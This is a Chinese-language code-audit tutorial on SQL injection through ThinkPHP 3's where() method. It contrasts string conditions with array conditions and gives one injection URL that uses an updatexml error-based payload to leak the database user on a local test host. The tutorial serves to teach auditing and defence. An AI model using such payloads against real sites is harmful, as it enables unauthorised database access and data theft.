代码审计之Thinkphp常规注入)
where方法
where方法的用法是ThinkPHP查询语言的精髓,可以完成包括普通查询、表达式查询、快捷查询、区间查询、组合查询在内的查询操作。where方法的参数支持字符串和数组,虽然也可以使用对象但并不建议。
1.使用字符串作为查询条件
这是最传统的方式,但是安全性不高,例如:
$User = M("User"); // 实例化User对象
$User->where('type=1 AND status=1')->select();
最后生成的SQL语句是
SELECT * FROM think_user WHERE type=1 AND status=1
采用字符串查询的时候,我们可以配合使用字符串条件的安全预处理机制。
正常查询
http://127.0.0.1/thinkphp3/index.php/home/index/getUserIndex/id/1
注入查询
http://127.0.0.1/thinkphp3/index.php/home/index/getUserIndex/id/1) and updatexml(1,concat(0x3a,(user()),0x3a),1)%23
直接查询字符串拼接导致注入
2.使用数组作为查询条件
这种方式是最常用的查询方式,例如:
$User = M("User"); // 实例化User对象
$condition['name'] = 'thinkphp';
$condition['status'] = 1;
//把查询条件传入查询方法
$User->where($condition)->select();
最后生成的SQL语句是
SELECT * FROM think_user WHERE `name`='thinkphp' AND status=1
如果进行多字段查询,那么字段之间的默认逻辑关系是 逻辑与 AND,但是用下面的规则可以更改默认的逻辑判断,通过使用 _logic 定义查询逻辑:
$User = M("User"); // 实例化User对象
$condition['name'] = 'thinkphp';
$condition['account'] = 'thinkphp';
$condition['_logic'] = 'OR';
// 把查询条件传入查询方法
$User->where($condition)->select();
最后生成的SQL语句是
SELECT * FROM think_user WHERE `name`='thinkphp' OR `account`='thinkphp'